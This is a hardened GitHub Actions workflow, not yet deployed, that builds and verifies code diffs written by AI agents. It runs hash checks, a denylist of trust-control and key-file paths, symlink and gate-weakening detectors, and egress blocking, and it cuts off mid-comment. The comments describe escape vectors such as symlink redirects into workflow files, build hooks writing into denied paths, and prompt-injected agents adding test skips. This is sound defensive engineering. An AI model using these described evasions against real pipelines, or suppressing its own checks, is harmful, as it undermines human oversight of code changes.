# R720 agent-team — split-job CI apply/verify workflow (design §3.3.2, §7.1 P3). # # DEPLOY-GATED PRE-DEPLOYMENT SCAFFOLDING. This file is authored as IaC only. # It is NOT enabled, NOT provisioned, and NOT wired to any live org repo. Per # the design (§3.3.2, §7.1 P3) it must clear BOTH `/sh-security-review` AND the # mandatory GPT-4.1 cross-review before it is deployed (it is IaC/IAM + # untrusted-input handling). Until then it lives here as a reviewable artifact. # # AUTH MODEL (LOCKED, P3-live): the privileged job authenticates via a GitHub # App INSTALLATION TOKEN with `pull-requests: write` — there are ZERO cloud # credentials and no cloud token-federation anywhere in this workflow. The # required human-reviewer gate lives on the `agent-apply` GitHub Environment # (configured at provisioning, not in YAML). # # Deployment target (later, after the gates): promote into # Sea-Haven-Industries/.github as a reusable workflow (engineering-handbook # cicd.md) and have the apply path call it. The filename stays kebab-case per # the handbook. PROVISIONING (the ONLY remaining step to go live) creates the # GitHub App + its installation, the `agent-apply` environment with a required # reviewer + branch protection, then flips the draft-PR step's `if:` (see the # provisioning runbook). Flipping live against a non-existent environment is an # unprotected hole, so the flip is a deliberate provisioning action, not authored # here. # # ───────────────────────────────────────────────────────────────────────────── # TRUST BOUNDARY (design §3.3.2). The builder agents are semi-trusted: an LLM # that read repo content can be wrong or prompt-injected, so the candidate diff # is UNTRUSTED CODE. The five boundaries this workflow implements: # # 1. Split CI. The job that checks out + executes the patch (`build-test`) # runs credential-less (`permissions: contents: read`, no secrets, no # App token, no write token, egress-restricted). Every privileged action # runs in a SEPARATE job (`gate-and-pr`) that NEVER checks out or runs # patch-controlled code; it consumes the build/test report as DATA only. # This is NOT `pull_request_target` with a head-ref checkout (pwn request). # 2. Trust-control-surface denylist. `guard` hard-fails (CI-side, not only the # box) any diff touching `.github/workflows/**`, IAM/policy IaC, branch # protection / CODEOWNERS / Dependabot, or files outside the declared task # scope. It canonicalizes paths, resolves symlinks, and rejects renames # into denied paths — a path match cannot be bypassed by indirection. # 3. Diff integrity, box → CI. CI re-hashes the candidate diff and verifies it # equals the ledger-recorded hash BEFORE applying. Tamper/substitution # fails the hash check. # 4. Pure-code pass/fail gate. A deterministic gate reads the authenticated # build/test conclusion keyed to (run id + diff hash). It never trusts a # success/failure file the patch could have written. The verifier AGENT # only reads failures to propose a fix; it cannot declare success. # 5. Branch protection. The draft PR targets a protected branch; the # locked-down checks are required; merge needs them green + the # security-review + the Claude Code App review + human approval. The agent # NEVER auto-merges (D2). # # All third-party actions are SHA-pinned (handbook Pinning Principle, §3.3.2). # ───────────────────────────────────────────────────────────────────────────── name: agent-team-apply-verify # Run name surfaces the dispatching task's thread_id so the box-side dispatcher # can correlate the triggered run back to its task via `gh run list --json name` # (workflow inputs are NOT queryable; a workflow_dispatch run reports against the # `main` ref, not the head branch — so the task_id in the run name is the # correlation key). The `concurrency` group below already guarantees ONE in-flight # run per task_id, so this name + the dispatched-at watermark match the run # unambiguously even under many simultaneous task dispatches. # P3-BOX-INTEGRATION (feat/agent-team-p3-box-integration): additive run-name only; # no privilege/permission/trigger change. Flagged for the C1 re-run of # /sh-security-review + GPT-4.1 cross-review on this trust-boundary workflow. run-name: "agent-team-apply ${{ inputs.task_id }}" # Manual / API trigger only. The trusted, separate apply path (which owns the # GitHub App write token) invokes this with the candidate-diff # artifact + the ledger-recorded hash + the declared scope. There is NO # pull_request / pull_request_target trigger: the patch must never run in a # context that carries write or secret scope (boundary 1). on: workflow_dispatch: inputs: task_id: description: "Pipeline task thread_id (for provenance/audit)." required: true type: string diff_artifact_name: description: "Name of the uploaded candidate-diff artifact." required: true type: string expected_diff_hash: description: "Ledger-recorded sha256 of the candidate diff (boundary 3)." required: true type: string declared_scope: description: >- Newline-separated list of glob paths the task is allowed to touch (boundary 2). A diff that changes anything outside this set fails. required: true type: string diff_b64: description: >- Base64 of candidate.diff — the diff CONTENT, carried in by the trusted dispatcher (the box has no write token, D2). The materialize job decodes it to an artifact and re-hashes it against expected_diff_hash; it is UNTRUSTED DATA, never executed in a privileged context. required: true type: string head_branch: description: >- The branch the trusted dispatcher already pushed with the diff applied. The draft PR opens with this as `--head`. The box never pushes it; the PR head and the verified diff are bound by expected_diff_hash. required: true type: string # Workflow-level default: least privilege. Every job re-declares its own # `permissions:` so the grant is explicit per job and the untrusted job can be # audited at a glance. permissions: {} # One in-flight apply/verify per task; a re-dispatch cancels the stale run so a # superseded diff cannot race a newer one. concurrency: group: agent-team-apply-verify-${{ inputs.task_id }} cancel-in-progress: true jobs: # ─────────────────────────────────────────────────────────────────────────── # JOB 0 — materialize (§4.3 diff transport). Credential-less, no secrets, no # write token. Decodes the base64 `diff_b64` dispatch input to candidate.diff, # fail-closed re-hashes it against `expected_diff_hash`, and uploads it as the # named artifact so guard + build-test can download it IN THIS RUN. This is how # the read-only box's diff reaches CI without the box holding a write token # (D2): the trusted dispatcher passes the bytes as an input; CI re-verifies the # hash here AND again in guard. The diff is DATA — never applied/executed here. # ─────────────────────────────────────────────────────────────────────────── materialize: runs-on: ubuntu-latest timeout-minutes: 5 permissions: {} steps: - name: Harden runner (block egress; no secrets present) uses: step-security/harden-runner@0080882f6c36860b6ba35c610c98ce87d4e2f26f # v2.10.2 with: egress-policy: block allowed-endpoints: > github.com:443 api.github.com:443 objects.githubusercontent.com:443 *.actions.githubusercontent.com:443 - name: Decode candidate diff from the dispatch input (untrusted DATA) env: # Untrusted: read from env, NEVER interpolated into the script body # (CWE-94). base64 -d makes shell-meta in the diff inert here. DIFF_B64: ${{ inputs.diff_b64 }} EXPECTED_DIFF_HASH: ${{ inputs.expected_diff_hash }} run: | set -euo pipefail mkdir -p ./_out printf '%s' "$DIFF_B64" | base64 -d > ./_out/candidate.diff # Fail-closed: non-empty + bounded size + sha256 must equal the # ledger-recorded hash the dispatcher passed (guard re-verifies this # independently). An empty expected hash never counts as a match. test -s ./_out/candidate.diff # Size bound (defense-in-depth; the dispatch input is already ~64 KB # capped by GitHub, the dispatcher caps the diff at 40 KB): reject an # oversized decoded diff rather than feeding it downstream. bytes="$(wc -c < ./_out/candidate.diff)" if [ "$bytes" -gt 49152 ]; then echo "::error::candidate diff too large (${bytes} bytes)"; exit 1 fi actual="$(sha256sum ./_out/candidate.diff | cut -d' ' -f1)" if [ -z "$EXPECTED_DIFF_HASH" ] || [ "$actual" != "$EXPECTED_DIFF_HASH" ]; then echo "::error::materialized diff hash ${actual} != expected '${EXPECTED_DIFF_HASH}'" exit 1 fi - name: Upload candidate diff as the named artifact (same-run only) uses: actions/upload-artifact@b4b15b8c7c6ac21ea08fcf65892d2ee8f75cf882 # v4.4.3 with: name: ${{ inputs.diff_artifact_name }} path: ./_out/candidate.diff if-no-files-found: error retention-days: 1 # ─────────────────────────────────────────────────────────────────────────── # JOB 1 — guard (boundaries 2 + 3). Credential-less. Validates the candidate # diff WITHOUT applying or executing it: re-hashes it (integrity) and runs the # trust-control-surface denylist + declared-scope check. This job reads the # diff as DATA only — it never `git apply`s it, so even a hostile diff cannot # run code here. A failure is terminal: the diff is rejected and ALARM-worthy. # ─────────────────────────────────────────────────────────────────────────── guard: needs: materialize runs-on: ubuntu-latest timeout-minutes: 5 permissions: contents: read outputs: diff_hash: ${{ steps.verify.outputs.diff_hash }} steps: - name: Harden runner (egress audit; no secrets present anyway) uses: step-security/harden-runner@0080882f6c36860b6ba35c610c98ce87d4e2f26f # v2.10.2 with: egress-policy: block # Only what fetching the artifact + GitHub API needs. The job holds # no secrets, so a successful exfil yields nothing of value (§3.3.2), # but we deny egress as defense-in-depth. allowed-endpoints: > github.com:443 api.github.com:443 objects.githubusercontent.com:443 *.actions.githubusercontent.com:443 - name: Download candidate diff (data only; not applied) uses: actions/download-artifact@fa0a91b85d4f404e444e00e005971372dc801d16 # v4.1.8 with: name: ${{ inputs.diff_artifact_name }} path: ./_incoming # Pin the source run so an artifact can never be sourced from a # DIFFERENT run (an attacker who can upload an artifact in some other # run must not be able to substitute it here). This is the current # run; download-artifact@v4 restricts to the same run by default, but # pinning run-id makes that explicit and audit-visible. No # github-token is set: this job is credential-less and same-run only. run-id: ${{ github.run_id }} - name: Verify diff integrity + trust-control denylist + scope id: verify env: EXPECTED_DIFF_HASH: ${{ inputs.expected_diff_hash }} DECLARED_SCOPE: ${{ inputs.declared_scope }} DIFF_PATH: ./_incoming/candidate.diff run: | set -euo pipefail # Self-contained, stdlib-only, type-hinted gate program embedded # inline so this workflow has NO external script dependency. It is # patch-independent: it parses the unified diff as TEXT and never # executes it. It re-hashes the diff (boundary 3) and enforces the # trust-control-surface denylist + declared scope (boundary 2), # canonicalizing paths and rejecting renames into denied paths. python3 - <<'PY' from __future__ import annotations import hashlib import os import posixpath import re import sys # --- Boundary 2: the trust-control surface. Touching ANY of these is # an auto-reject; such a diff is escalated to mandatory human + GPT # cross-review, never auto-built (these are the mandatory-cross-review # surface regardless). Matched against canonicalized POSIX paths. --- # INJ-03: UNION SUPERSET, IDENTICAL across all three trust-control # copies (this guard inline list, the post-build inline list below, and # agent_team.ci_gate.DENYLIST_GLOBS). test_apply_verify_workflow_hardening # asserts the three are byte-for-byte equal so drift fails CI. Edit all # three together. DENY_GLOBS: tuple[str, ...] = ( ".github/workflows/**", ".github/actions/**", ".github/CODEOWNERS", "**/CODEOWNERS", "CODEOWNERS", ".github/dependabot.yml", ".github/dependabot.yaml", ".github/settings.yml", "**/cdk.json", "**/template.yml", "**/template.yaml", "**/samconfig.toml", "**/*.tf", "**/*-stack.ts", "**/*_stack.py", "**/iam/**", "**/policies/**", "**/*iam*", "**/policy*.json", "**/*policy*.json", "**/*.pem", "**/*.key", ".gitmodules", "**/.gitmodules", ".husky/**", "**/.husky/**", ".githooks/**", "**/.githooks/**", ".gitattributes", "**/.gitattributes", ".npmrc", "**/.npmrc", "**/__generated__/**", "**/*.generated.*", "**/dist/**", "**/build/**", "**/*.min.js", ) def canonical(path: str) -> str: """Canonicalize a diff path to a normalized, anchored POSIX path. Strips git's a//b/ prefixes, collapses ``.`` / ``..`` and backslashes, and rejects absolute or parent-escaping paths so a denied location cannot be reached by traversal/indirection. """ p = path.strip() # git unified-diff prefixes. for pre in ("a/", "b/"): if p.startswith(pre): p = p[len(pre):] break p = p.replace("\\", "/") # normpath then re-POSIX it. norm = posixpath.normpath(p) if norm.startswith("/") or norm == ".." or norm.startswith("../"): raise ValueError(f"path escapes repo root: {path!r}") return norm def parse_touched_paths(diff_text: str) -> set[str]: """Extract every path a unified diff adds/modifies/renames/deletes. Reads ``+++ ``/``--- `` targets, ``diff --git a/x b/y`` headers, and ``rename from/to`` lines — so a rename INTO a denied path (or a new file generated into one) is caught, not just in-place edits. """ touched: set[str] = set() for line in diff_text.splitlines(): m = re.match(r"^diff --git (\S+) (\S+)$", line) if m: for raw in (m.group(1), m.group(2)): touched.add(canonical(raw)) continue m = re.match(r"^(?:\+\+\+|---) (.+)$", line) if m: tgt = m.group(1).strip() if tgt == "/dev/null": continue # strip trailing tab-timestamp some diffs carry. tgt = tgt.split("\t", 1)[0] touched.add(canonical(tgt)) continue m = re.match(r"^rename (?:from|to) (.+)$", line) if m: touched.add(canonical(m.group(1).strip())) return touched def find_symlink_additions(diff_text: str) -> list[tuple[str, str]]: """Return ``[(path, target)]`` for every symlink the diff creates. A symlink shows as git file mode ``120000``; its link target is the single added content line. Textual path canonicalization (``canonical``) cannot see a symlink that redirects a later in-diff write into a denied location (e.g. ``sub/link -> ../.github/workflows`` then a write to ``sub/link/evil.yml``). A candidate auto-build diff has no legitimate reason to introduce a symlink, so guard treats ANY symlink addition as a hard reject (boundary 2), closing the symlink-escape vector. """ additions: list[tuple[str, str]] = [] cur_path: str | None = None pending = False for line in diff_text.splitlines(): g = re.match(r"^diff --git (\S+) (\S+)$", line) if g: cur_path, pending = g.group(2), False continue p = re.match(r"^\+\+\+ (.+)$", line) if p and p.group(1).strip() != "/dev/null": cur_path = p.group(1).split("\t", 1)[0].strip() continue if re.match(r"^(?:new file mode|new mode) 120000\s*$", line): pending = True continue if pending and line.startswith("+") and not line.startswith("+++"): try: path_c = canonical(cur_path) if cur_path else "" except ValueError: # canonical() rejected the path (absolute/escaping); report # it with only the git a//b/ PREFIX removed for the error # message (re.sub, not str.lstrip which strips a char set). path_c = re.sub(r"^[ab]/", "", cur_path or "") additions.append((path_c, line[1:].strip())) pending = False return additions _GLOB_META = set("*?[]") _GLOB_RE_CACHE: dict[str, "re.Pattern[str]"] = {} def _glob_to_regex(glob: str) -> "re.Pattern[str]": """Compile a gitignore-style glob to a '/'-aware, case-insensitive regex. Python's ``fnmatch`` does NOT implement recursive ``**`` (it treats it as a single ``*`` that already spans ``/``), so ``**/template.yaml`` fails to match a repo-ROOT ``template.yaml`` — a denylist bypass for exactly the IaC/secret families boundary 2 must catch. This translates ``**/`` to "any depth INCLUDING zero", ``**`` to ".*", ``*`` to a single non-slash run, ``?`` to one non-slash char, and matches case- insensitively (POSIX runners are case-sensitive, but a case variant of a trust-control filename must not slip the gate). """ cached = _GLOB_RE_CACHE.get(glob) if cached is not None: return cached out: list[str] = [] i, n = 0, len(glob) while i < n: if glob[i : i + 3] == "**/": out.append(r"(?:.*/)?") i += 3 elif glob[i : i + 2] == "**": out.append(r".*") i += 2 elif glob[i] == "*": out.append(r"[^/]*") i += 1 elif glob[i] == "?": out.append(r"[^/]") i += 1 else: out.append(re.escape(glob[i])) i += 1 pat = re.compile("^" + "".join(out) + "$", re.IGNORECASE) _GLOB_RE_CACHE[glob] = pat return pat def denied(path: str) -> bool: """True if ``path`` is on the trust-control denylist (recursive, case-insensitive).""" return any(_glob_to_regex(g).match(path) for g in DENY_GLOBS) def _scope_prefix(entry: str) -> str | None: """Reduce a canonicalized scope entry to a concrete dir/file prefix. Declared scope is *confinement*, not a pattern that may widen coverage. ``fnmatch``-ing scope let a single ``**`` (or ``*``) entry match the whole tree, collapsing boundary 2b to a no-op. Instead we take the leading path segments up to the first glob metacharacter and prefix -match against them (mirrors the box-side ``_in_scope``). A scope that begins with a metacharacter reduces to the empty (repo-root) prefix and is dropped, so it can never widen to everything. """ keep: list[str] = [] for part in entry.split("/"): if any(c in _GLOB_META for c in part): break keep.append(part) prefix = "/".join(keep) return prefix or None def safe_scope(scope: list[str]) -> list[str]: """Canonicalize scope into concrete path prefixes; drop escaping/empty. An absolute or parent-escaping entry is discarded (canonical raises), and a glob that reduces to the repo root is dropped, so a malformed or over-broad scope can only SHRINK what is allowed, never widen it. """ safe: list[str] = [] for g in scope: try: canon = canonical(g) except ValueError: continue prefix = _scope_prefix(canon) if prefix is not None and prefix not in safe: safe.append(prefix) return safe def in_scope(path: str, scope: list[str]) -> bool: """True if ``path`` is at or under one of the declared scope prefixes.""" return any(path == entry or path.startswith(entry + "/") for entry in scope) def main() -> int: diff_path = os.environ["DIFF_PATH"] expected = os.environ["EXPECTED_DIFF_HASH"].strip().lower() scope = [s for s in os.environ.get("DECLARED_SCOPE", "").splitlines() if s.strip()] # FAIL-CLOSED on an empty/missing expected hash BEFORE comparing. # The recomputed `actual` is always a real sha256, so an empty # `expected` already mismatches and fails — but an explicit guard # makes the empty == empty invariant impossible to regress (e.g. if # the comparison is ever refactored) and gives a clearer ALARM. if not expected: print("::error::empty/missing expected diff hash; refusing to bind (fail-closed)") return 2 with open(diff_path, "rb") as fh: raw = fh.read() actual = hashlib.sha256(raw).hexdigest() # Boundary 3: integrity. A tampered/substituted diff fails here. if actual != expected: print(f"::error::diff hash mismatch: expected={expected} actual={actual}") return 2 # Fail CLOSED on a non-UTF-8 diff rather than silently replacing bytes # (errors='replace' could let a homoglyph/encoding trick evade the path # match). A legitimate diff over source is valid UTF-8. try: text = raw.decode("utf-8") except UnicodeDecodeError as exc: print(f"::error::diff is not valid UTF-8 ({exc}); refusing to parse") return 8 touched = parse_touched_paths(text) if not touched: print("::error::no paths parsed from diff; refusing empty/garbled diff") return 3 # Boundary 2a: trust-control denylist (CI-side HARD FAIL). hits = sorted(p for p in touched if denied(p)) if hits: for h in hits: print(f"::error::trust-control-surface violation: {h}") print("::error::diff touches the trust-control surface; escalate to human + GPT cross-review") return 4 # Boundary 2a': symlink escape. A symlink can redirect a later in-diff # write into a denied path that textual matching cannot see, so any # symlink addition is rejected outright. symlinks = find_symlink_additions(text) if symlinks: for path, target in symlinks: print(f"::error::diff introduces a symlink ({path} -> {target}); symlinks can redirect writes into denied paths and are not allowed in an auto-built diff") print("::error::symlink in candidate diff; escalate to human + GPT cross-review") return 7 # Boundary 2b: declared-scope enforcement. if not scope: print("::error::no declared scope provided; refusing unscoped diff") return 5 scope = safe_scope(scope) if not scope: print("::error::declared scope has no valid (non-escaping) entries; refusing diff") return 5 out_of_scope = sorted(p for p in touched if not in_scope(p, scope)) if out_of_scope: for p in out_of_scope: print(f"::error::out-of-declared-scope path: {p}") return 6 gh_out = os.environ.get("GITHUB_OUTPUT") if gh_out: with open(gh_out, "a", encoding="utf-8") as fh: fh.write(f"diff_hash={actual}\n") print(f"diff_hash={actual}") print(f"validated {len(touched)} path(s); all in-scope, none on the trust-control surface") return 0 sys.exit(main()) PY - name: Gate-weakening check (§4.5; a diff cannot disable its own checks) env: DIFF_PATH: ./_incoming/candidate.diff run: | set -euo pipefail # SECURITY (§4.5): enforce gate-weakening on the LIVE PR-opening path, # not only box-side. A diff that ADDS a lint/type/coverage/security # suppression or a test skip/xfail could make build-test pass falsely; # such a diff is escalated to a human, never auto-built. Mirrors # agent_team.ci_gate._GATE_WEAKENING_MARKERS. Reads the diff as DATA. python3 - <<'PY' import os import re import sys markers = ( "noqa", "type: ignore", "type:ignore", "pragma: no cover", "pragma: no-cover", "nosec", "nosemgrep", "--no-verify", ) skip_re = re.compile( r"@(?:pytest\.mark\.(?:skip|xfail)|unittest\.skip\w*)\b" r"|\bpytest\.(?:skip|xfail)\s*\(" r"|\.skipTest\s*\(" ) text = open(os.environ["DIFF_PATH"], encoding="utf-8", errors="replace").read() viol = [] for line in text.splitlines(): if line.startswith("+") and not line.startswith("+++"): content = line[1:] low = content.lower() if any(m in low for m in markers) or skip_re.search(content): viol.append(content.strip()[:120]) if viol: print("::error::gate-weakening: a diff cannot add suppressions/skips that disable its own checks") for v in viol[:20]: print(f" + {v}") sys.exit(1) print("no gate-weakening markers in the diff") PY # ─────────────────────────────────────────────────────────────────────────── # JOB 2 — build-test (boundary 1). UNTRUSTED execution. This is the ONLY job # that applies + runs the patch. It is credential-less: contents:read only, no # secrets, no App token, no write token, egress blocked. There is nothing here to # steal and nothing to assume. It writes a report artifact consumed by the # privileged gate as DATA — that report is NOT authoritative (boundary 4). # Depends on `guard` so a denied/tampered diff never reaches execution. # ─────────────────────────────────────────────────────────────────────────── build-test: needs: guard runs-on: ubuntu-latest timeout-minutes: 20 permissions: contents: read steps: - name: Harden runner (block egress — untrusted code runs here) uses: step-security/harden-runner@0080882f6c36860b6ba35c610c98ce87d4e2f26f # v2.10.2 with: # Block, not audit: this is where untrusted patch code executes. A # narrow allowlist for dependency resolution only; everything else is # denied so a prompt-injected patch cannot phone home. # DEPLOY: this allowlist is GitHub + PyPI only. Before enabling this # workflow for a repo, replace/extend it with EXACTLY that repo's # package registries (npm, crates, Go proxy, ...) and nothing more — # an over-broad allowlist weakens the egress boundary. egress-policy: block allowed-endpoints: > github.com:443 api.github.com:443 objects.githubusercontent.com:443 codeload.github.com:443 pypi.org:443 files.pythonhosted.org:443 - name: Checkout base repo (clean ref; patch applied on top after) uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2 with: # Checkout carries NO token into the working tree usable for writes — # this job's permissions are contents:read. persist-credentials:false # guarantees the patch cannot reuse the checkout token. persist-credentials: false - name: Re-download candidate diff (re-validated below) uses: actions/download-artifact@fa0a91b85d4f404e444e00e005971372dc801d16 # v4.1.8 with: name: ${{ inputs.diff_artifact_name }} path: ./_incoming # Same-run pin as the guard job: the bytes applied here must be the # bytes uploaded in THIS run, not an artifact substituted from another # run. The pre-apply hash re-check below is the second layer. run-id: ${{ github.run_id }} - name: Re-verify diff hash before apply (defense-in-depth) env: EXPECTED_DIFF_HASH: ${{ needs.guard.outputs.diff_hash }} DIFF_PATH: ./_incoming/candidate.diff run: | set -euo pipefail # Independently confirm the bytes match the hash `guard` blessed, so a # swapped artifact between jobs cannot slip an unvetted diff into the # apply step. python3 - <<'PY' from __future__ import annotations import hashlib import os import sys def main() -> int: expected = os.environ["EXPECTED_DIFF_HASH"].strip().lower() with open(os.environ["DIFF_PATH"], "rb") as fh: actual = hashlib.sha256(fh.read()).hexdigest() if actual != expected: print(f"::error::pre-apply hash mismatch: expected={expected} actual={actual}") return 1 print(f"diff hash confirmed: {actual}") return 0 sys.exit(main()) PY - name: Apply candidate diff (UNTRUSTED — credential-less sandbox) run: | set -euo pipefail # --check first so a malformed diff fails cleanly; then apply. The # working tree has no write credential, so applying + running it can # touch only this ephemeral runner. git apply --check ./_incoming/candidate.diff git apply ./_incoming/candidate.diff # Commit the patched tree to a throwaway local commit so the working # tree is CLEAN before the build runs. This is the baseline the # post-build denied-path check diffs against: the guard job already # vetted the candidate diff's paths, so by committing it we isolate # whatever the BUILD HOOK itself writes (a malicious setup.py / # conftest / build script that drops a file into a denied path). Local # commit only — this job has no write credential, nothing is pushed. git config user.email "agent-apply@local.invalid" git config user.name "agent-apply build sandbox" git add -A git commit --quiet --no-verify -m "candidate diff (sandbox baseline)" || true - name: Set up Python uses: actions/setup-python@0b93645e9fea7318ecaed2b359559ac225c90a2b # v5.3.0 with: python-version: "3.12" - name: Install + build + test (untrusted; exit code IS authoritative) id: run run: | set -euo pipefail # Build/test for the narrowest task class (dep bump / single-file fix). # SECURITY (boundary 4): this step's EXIT CODE is the authoritative # build-test conclusion the pure-code gate keys on # (needs.build-test.result). It must therefore FAIL on a red build/test # — a previous `|| echo` swallowed ruff/pytest failures, which (now that # the apply path is flipped live) would open draft PRs on red builds. # The tool installs are best-effort (|| true), but ruff + pytest run # AUTHORITATIVELY under `set -e` so a real failure fails the job. # # PER-TARGET (Sea-Haven-Industries/orchestrator): the AUTHORITATIVE test # suite for this target is the self-contained, hermetic `agent-team/` # subproject — the repo's own `ci / subproject-tests` runs exactly this, # and the ROOT suite is deliberately NOT used (it needs live # ANTHROPIC/COMPOSIO keys, so it is collect-only in CI). Multi-target # support = wire each target's command at provisioning (this command is # author-fixed here, NOT taken from any dispatch input, so it adds no # injection surface). if [ -f requirements.txt ]; then python3 -m pip install --quiet -r requirements.txt || true fi python3 -m pip install --quiet ruff pytest pyyaml slack_sdk slack_bolt || true # ruff over the whole repo (lint must hold for the applied diff). ruff check . # The hermetic agent-team suite is authoritative (exit code IS the gate). ( cd agent-team && python3 -m pytest -q ) - name: Post-build denied-path check (build hook may not write the trust surface) if: always() env: DECLARED_SCOPE: ${{ inputs.declared_scope }} run: | set -euo pipefail # SECURITY (boundary 2, build-hook variant). The guard job vetted the # candidate DIFF's paths, but a build/test hook (setup.py, a conftest, # an npm postinstall, a Makefile) running in THIS untrusted job can # ALSO write files — including into the trust-control surface or out of # the declared scope. We committed the patched tree as the baseline # above, so anything that differs now is build-hook output. We FAIL the # job if any of it lands on a denied path or outside scope. # # FIX-2 / INJ-02: parse NUL-delimited, never newline-split. A malicious # build hook can write a file whose name contains a tab/space/quote/ # NEWLINE; a `git status --porcelain | sed` + newline-split pipeline # would either mangle or split such a name and let it evade the path # match. So we emit machine-readable NUL-delimited records: # * `git status --porcelain=v1 -z --untracked-files=all` (each entry # is `XY ` and, for renames, `XY \0` — two NUL # fields), and # * `git diff -z --name-only HEAD` (NUL-separated tracked paths), # and Python splits on NUL and parses rename entries explicitly. We also # set `core.quotepath false` so git never C-quotes/escapes UTF-8 or # special bytes in path output (belt-and-suspenders). No backslash # mangling is done anywhere. A path that cannot be cleanly decoded is # treated as a VIOLATION (fail closed). git config core.quotepath false # Write the scratch capture files OUTSIDE the checkout ($RUNNER_TEMP) so # the `git status --untracked-files=all` below does not see — and flag — # the check's OWN temp files as out-of-scope writes (they would otherwise # appear as untracked and fail a narrow declared_scope). _DIFF_Z="${RUNNER_TEMP:-/tmp}/_build_diff_z.bin" _STATUS_Z="${RUNNER_TEMP:-/tmp}/_build_status_z.bin" export _DIFF_Z _STATUS_Z git diff -z --name-only HEAD > "$_DIFF_Z" || true git status --porcelain=v1 -z --untracked-files=all > "$_STATUS_Z" || true python3 - <<'PY' from __future__ import annotations import os import posixpath import re import sys # SAME denylist as the guard job + ci_gate.DENYLIST_GLOBS (boundary 2, # INJ-03 union superset). All three are byte-for-byte identical and # test_apply_verify_workflow_hardening asserts it; edit all three. DENY_GLOBS: tuple[str, ...] = ( ".github/workflows/**", ".github/actions/**", ".github/CODEOWNERS", "**/CODEOWNERS", "CODEOWNERS", ".github/dependabot.yml", ".github/dependabot.yaml", ".github/settings.yml", "**/cdk.json", "**/template.yml", "**/template.yaml", "**/samconfig.toml", "**/*.tf", "**/*-stack.ts", "**/*_stack.py", "**/iam/**", "**/policies/**", "**/*iam*", "**/policy*.json", "**/*policy*.json", "**/*.pem", "**/*.key", ".gitmodules", "**/.gitmodules", ".husky/**", "**/.husky/**", ".githooks/**", "**/.githooks/**", ".gitattributes", "**/.gitattributes", ".npmrc", "**/.npmrc", "**/__generated__/**", "**/*.generated.*", "**/dist/**", "**/build/**", "**/*.min.js", ) _GLOB_META = set("*?[]") def canonical(path: str) -> str: # FIX-2 / INJ-02: paths come from `git -z` with core.quotepath=false, # so they are RAW: real '/' separators and no C-quoting. We do NOT # do `.replace("\\","/")` backslash mangling (a backslash is a literal # filename byte here) and do NOT strip quotes (git did not add any). # We only reject leading/trailing whitespace-only and escaping paths. p = path if not p: raise ValueError("empty path") norm = posixpath.normpath(p) if norm.startswith("/") or norm == ".." or norm.startswith("../"): raise ValueError(f"path escapes repo root: {path!r}") return norm def _glob_to_regex(glob: str) -> "re.Pattern[str]": out: list[str] = [] i, n = 0, len(glob) while i < n: if glob[i : i + 3] == "**/": out.append(r"(?:.*/)?") i += 3 elif glob[i : i + 2] == "**": out.append(r".*") i += 2 elif glob[i] == "*": out.append(r"[^/]*") i += 1 elif glob[i] == "?": out.append(r"[^/]") i += 1 else: out.append(re.escape(glob[i])) i += 1 return re.compile("^" + "".join(out) + "$", re.IGNORECASE) _DENY_RES = tuple(_glob_to_regex(g) for g in DENY_GLOBS) def denied(path: str) -> bool: return any(p.match(path) for p in _DENY_RES) def _scope_prefix(entry: str) -> str | None: keep: list[str] = [] for part in entry.split("/"): if any(c in _GLOB_META for c in part): break keep.append(part) prefix = "/".join(keep) return prefix or None def safe_scope(scope: list[str]) -> list[str]: safe: list[str] = [] for g in scope: try: canon = canonical(g) except ValueError: continue prefix = _scope_prefix(canon) if prefix is not None and prefix not in safe: safe.append(prefix) return safe def in_scope(path: str, scope: list[str]) -> bool: return any(path == e or path.startswith(e + "/") for e in scope) def _read_z(path: str) -> list[bytes]: """Read a NUL-delimited file into a list of byte records (no trailing empty).""" try: with open(path, "rb") as fh: blob = fh.read() except FileNotFoundError: return [] if not blob: return [] parts = blob.split(b"\x00") if parts and parts[-1] == b"": parts.pop() return parts def _decode(field: bytes) -> str | None: """Strictly decode a path field as UTF-8; None if it cannot be cleanly decoded.""" try: return field.decode("utf-8") except UnicodeDecodeError: return None def _diff_paths() -> tuple[list[str], list[bytes]]: """`git diff -z --name-only` records: each NUL field is one path.""" ok: list[str] = [] bad: list[bytes] = [] for rec in _read_z(os.environ["_DIFF_Z"]): dec = _decode(rec) (ok if dec is not None else bad).append(dec if dec is not None else rec) return ok, bad def _status_paths() -> tuple[list[str], list[bytes]]: """Parse `git status --porcelain=v1 -z` records. Each entry is `XY `; a rename/copy (X or Y in R/C) is followed by a SECOND field, the rename/copy SOURCE, in a separate NUL record. We surface BOTH the destination and the source (a rename INTO or OUT of a denied/out-of-scope path must be caught). A record whose path field cannot be cleanly UTF-8 decoded is reported as a violation. """ ok: list[str] = [] bad: list[bytes] = [] recs = _read_z(os.environ["_STATUS_Z"]) i = 0 while i < len(recs): rec = recs[i] # `XY ` is a 3-byte prefix: two status codes + a space. if len(rec) < 4: bad.append(rec) i += 1 continue xy = rec[:2] body = rec[3:] dec = _decode(body) (ok if dec is not None else bad).append(dec if dec is not None else body) # Rename (R) / copy (C) in either index or worktree column carries # a following SOURCE field as its own record — consume + check it. if xy[0:1] in (b"R", b"C") or xy[1:2] in (b"R", b"C"): i += 1 if i < len(recs): src = recs[i] sdec = _decode(src) (ok if sdec is not None else bad).append( sdec if sdec is not None else src ) i += 1 return ok, bad def main() -> int: diff_ok, diff_bad = _diff_paths() status_ok, status_bad = _status_paths() raw_paths = sorted(set(diff_ok) | set(status_ok)) undecodable = diff_bad + status_bad violations: list[str] = [] # FIX-2: a path that cannot be cleanly decoded is a VIOLATION (fail # closed) — we never silently drop or lossily replace a build-written # filename the path match cannot reason about. for raw in undecodable: violations.append( f"build hook wrote an undecodable path: {raw!r}" ) if not raw_paths and not violations: print("post-build check: build hook wrote no files; clean") return 0 scope = safe_scope( [s for s in os.environ.get("DECLARED_SCOPE", "").splitlines() if s.strip()] ) for raw in raw_paths: try: path = canonical(raw) except ValueError: violations.append(f"build hook wrote an escaping path: {raw!r}") continue if denied(path): violations.append(f"build hook wrote a trust-control path: {path}") elif scope and not in_scope(path, scope): violations.append(f"build hook wrote out of declared scope: {path}") if violations: for v in violations: print(f"::error::{v}") print("::error::build hook wrote a denied/out-of-scope path; failing job") return 1 print(f"post-build check: {len(raw_paths)} build-written path(s); all clean") return 0 sys.exit(main()) PY - name: Emit non-authoritative report (job conclusion is the truth) if: always() env: # CWE-94 env-indirection. `inputs.task_id` is attacker-influenceable # (the dispatcher passes it from task state) and GitHub expands every # `${{ }}` into the shell SCRIPT TEXT 